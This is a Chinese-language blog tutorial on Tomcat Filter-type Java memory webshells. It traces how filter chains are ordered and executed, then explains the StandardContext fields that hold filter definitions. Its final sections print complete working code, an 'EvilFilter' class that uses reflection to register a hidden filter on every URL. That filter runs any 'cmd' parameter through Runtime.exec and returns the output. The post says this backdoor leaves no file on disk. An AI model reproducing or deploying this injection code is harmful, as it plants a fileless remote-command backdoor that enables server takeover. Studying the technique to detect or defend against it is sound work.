0X01
关于java内存马有关的知识网络上有不少的分析文章,但是个人在学习的过程中觉得分析的不够详尽细致,作为第一次研究的读者可能有部分疑惑没有被解决,正好最近也在学习这方面的知识,故有了此文章
0X02:Tomcat,Filter执行顺序
类型
相信大家在看到这篇文章之前已经看过其他相关分析文章了,已经知道tomcat内存马有Filter型,servlet型等,至于如何搭建servlet,如何实现filter等基本环境搭建,本文不再赘述,其余文章都有很好的手把手教学,本文详解Filter型内存马
servlet搭建:
https://blog.csdn.net/gaoqingliang521/article/details/108677301
TomcatFiltet执行流程
相信大家对这样一张图非常熟悉
接下来我们就来深入了解下这个图,需要解决以下两个问题:
1.filter1,filter2的顺序是如何决定的
2.filter1,filter2…..的过滤链在代码中是如何体现的
3.filter1,filter2……是如何回来的,从图中看同一个filter经历了两次(请求一次,响应一次)他们执行了两次过滤吗?
下面是两个filter的代码
Filter1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter(filterName = "one",value = "/filter") public class FilterDemo implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("第一个filter被调用"); filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() { System.out.println("filter结束");
} }
|
filter2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter(filterName = "two",value = "/filter") public class SeconedFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
} @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("第二个filter被调用"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }
|
部署项目,我们访问/filter可以看到控制台有如下输出
第一个疑问,filter1,filter2的顺序是如何决定的
FilterDemo和SeconedFilter这两个filter是谁先被调用的?凭什么SeconedFilter就是第二个调用的,难道是因为他的名字就叫SeconedFilter嘛!?,还真是!本文样例代码使用的是注解方式来定义filter的,按照类名的方式排序,F在S的前面,所以FilterDemo先调用,这一点idea按照文件名排序也能看出filter的优先级
第二个疑问,filter1,filter2…..的过滤链在代码中是如何体现的
既然已经知道了调用链顺序,那我们从FilterDemo的doFilter下断点,看一下他是如何调用到SeconedFilter的dofilter方法的
刚到filterChain,可以看到这个FilterChain中已经注册好了我们的三个filter(索引就体现了顺序),而我们的内存马的原理就是要修改filterChain的内容,这属于filterChain生成之前的分析,等等会讲到,现在我们分析的是filterchain的一个调用顺序,现在已经拿到之前生成好的filterChain了
跟进首先会检查一个全局变量,这里是false
直接跳转到else调用internalDoFilter
跟进,此处n便是我们filter的个数,这里是3是因为有一个filter是tomcat自带的filter,此处的功能就是遍历所有的filter对象依次调用他们的doFilter方法
为什么这里的pos一来就是1呢?是因为我们是从第一个filter的dofilter下的断点,也就是说第一个filter的doFilter已经被执行过了,所以此处是1,接下来
1
| ApplicationFilterConfig filterConfig = filters[pos++];
|
直接获取第二个filter也就是SeconedFilter,然后pos值增加为2
可以看见此处正是我们的第二个filter
继续往下执行filter.dofilter,执行第二个filter的doFilter方法,就能进入SeconedFilter的Dofilter方法了
可以看到直接进入了第二个Filter的doFilter方法
我们接着跟进filterChain.doFilte,还是跟之前一样,Globals.IS_SECURITY_ENABLED为False,直接进
internalDoFilter
到了刚刚熟悉的地方,此处pos等于2,马上获取最后一个filter,也就是tomcat自带的filter
可以看到此处为Tomcat的Filter
然后继续调用Tomcat自带的Filter的doFilter方法
然后进入tomcat自带的Filter的DoFilter方法,和之前一样的,Globals.IS_SECURITY_ENABLED为Flase,进internalDoFilter
又来到此处,但是此时pos已经=3了(所有的Filter都遍历完了),不满足if条件,进else
然后经过一系列的if,但是都是false,最后进到else中
可以看到在Filter的最后会调用servlet.service
第三个疑问:filter1,filter2……是如何回来的,从图中看同一个filter经历了两次(请求一次,响应一次)他们执行了两次过滤吗?
刚刚的servlet.serice继续往下,会到此处,然后开始return
整个链式调用会按照进入filter的顺序一个个return回来
首先会return到filter2
接着return到filter1
注意,此处说的return是指倒序return到每个Filter的filterChain.doFilter方法,并且每个return都会往后执行完毕后在return下一个,可以看到我注释的代码,也就是说过滤器逻辑可以将过滤响应的逻辑写在filterChain.doFilter的后面,去掉注释,触发filter,可以观察到整个进出filter的顺序
0X03:Filter被执行前是什么样子的
关注Filter被执行前是什么样子的,核心就是在于我们如果能通过反射的手段去更改这个Filter被执行前的”样子”,增加一个虚空filter,并且注入其对应逻辑,那么不就创建了一个可以执行命令的filter(内存马)了了么,它只存在于本次tomcat生命周期中,不会在代码中落地。
我们关注到org.apache.catalina.core.ApplicationFilterFactory中的createFilterChain函数,这个里面便包含了我们所涉及到的所有重点参数:filterMaps,filterDefs,filterConfigs
可以看到这个调用栈是这样的,前面有一大堆invoke,有些文章跟了这一部分,但是个人认为对学习内存马没有什么用,,理解内存马并不需要理解前面的调用,直接看到在StandardWapperValue处在这个地方调用了我们createFilterChain
在createFilterChain方法获取了StandardContext,其中就包含和我们注入内存马有关的三个关键参数
filterMaps
filterMaps:这个里面保存了对应的url与不同filter的映射关系
它的结构是这样的一个map
filterDefs
filterDefs:包含了对应filter名称所对应的FilterDef对象,FilterDef对象则是存储了filter名称以及filter所对应的类等信息
filterConfigs
filterConfigs:包含了对应filter名称与其ApplicationFilterConfig对象的映射关系,ApplicationFilterConfig中存储的内容和FilterDef类似,也是filter名称以及对应的类,描述等信息
0X05:注入恶意Filter
我们新建一个filter,/create_eval_filter,我们访问这个filter就能注入内存马,使其在任意filter下传递cmd参数都可以执行命令
刚刚说到了我们的filterMaps,filterDefs,filterConfigs是决定一个filterChain内容和核心,他们都保存在servletContext的standardContext中,所以我们首先要获取的是standardContext,通过standardContext就可以得到filterMaps,filterDefs,filterConfigs
获取servletContext的standardContext
1 2 3 4 5 6 7 8
| ServletContext servletContext = servletRequest.getServletContext(); Field appctx = null; appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
通过standardContext修改filterConfigs,filterDefs和filterMaps
拿到standardContext,首先我们来修改filterConfigs,前面也提到了,filterConfigs的内容是对应filter名称与其ApplicationFilterConfig对象的映射关系,ApplicationFilterConfig中存储的内容和FilterDef类似,也是filter名称以及对应的类,描述等信息,所以修改filterConfigs就需要同步修改filterDefs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = null; filterConfigs = (Map) Configs.get(standardContext); String FilterName = "cmd_Filter"; Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} };
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
servletResponse.getWriter().write("Success");
|
至此,我们动态添加Filter的工作就完成了,完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner;
@WebFilter(filterName = "three",value = "/create_eval_filter") public class EvilFilter implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { ServletContext servletContext = servletRequest.getServletContext(); Field appctx = null; try { appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter"; Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = null; filterConfigs = (Map) Configs.get(standardContext);
Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} };
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef) declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); servletResponse.getWriter().write("Success");
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
} catch (Exception e) { System.out.println(1); }
}
@Override public void destroy() {
} }
|
我们启动项目,首先访问/create_eval_filter,提示注入成功
然后向任意路由传参即可使用命令执行